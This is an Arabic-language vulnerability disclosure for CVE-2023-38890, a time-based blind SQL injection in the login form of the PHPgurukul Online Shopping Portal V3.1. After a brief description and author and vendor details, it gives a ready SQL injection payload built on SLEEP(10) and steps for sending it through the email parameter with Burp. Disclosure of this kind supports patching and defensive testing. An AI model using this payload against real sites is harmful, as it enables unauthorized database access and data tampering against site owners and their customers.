CVE-2023-38890

وصف

مشروع بوابة التسوق عبر الإنترنت V3.1 يسمح للمهاجمين عن بُعد بتنفيذ استعلامات SQL تعسفية عبر نموذج تسجيل الدخول، مما يؤدي إلى وصول غير مصرح به واحتمال التلاعب بالبيانات. ينشأ هذا الثغرة بسبب عدم كفاية التحقق من صحة الإدخال المقدم من المستخدم في حقل اسم المستخدم، مما يتيح هجمات حقن SQL.

عنوان الثغرة: Online Shopping Portal Project V3.1 PHPgurukul - Time-Based Blind Sqli

مؤلف الثغرة: Akshad Joshi

الصفحة الرئيسية للبائع: https://phpgurukul.com

رابط البرنامج: https://phpgurukul.com/shopping-portal-free-download/

تم الاختبار على: Linux

خطوات إعادة الإنتاج

استخدم هذا الحمولة (قم بتشفير عنوان URL):

[email protected]' AND (SELECT 1866 FROM (SELECT(SLEEP(10)))JHcH) AND 'GMDH'='GMDH

1. قم بزيارة-http://localhost/shopping/login.php
2. قم بتسجيل الدخول باستخدام الحساب الذي أنشأته.
3. يوجد تحقق في الواجهة الأمامية لذا قم بالتقاط الطلب في Burp.
4. قم بتمرير الحمولة أعلاه في معامل البريد الإلكتروني ولاحظ وقت الاستجابة.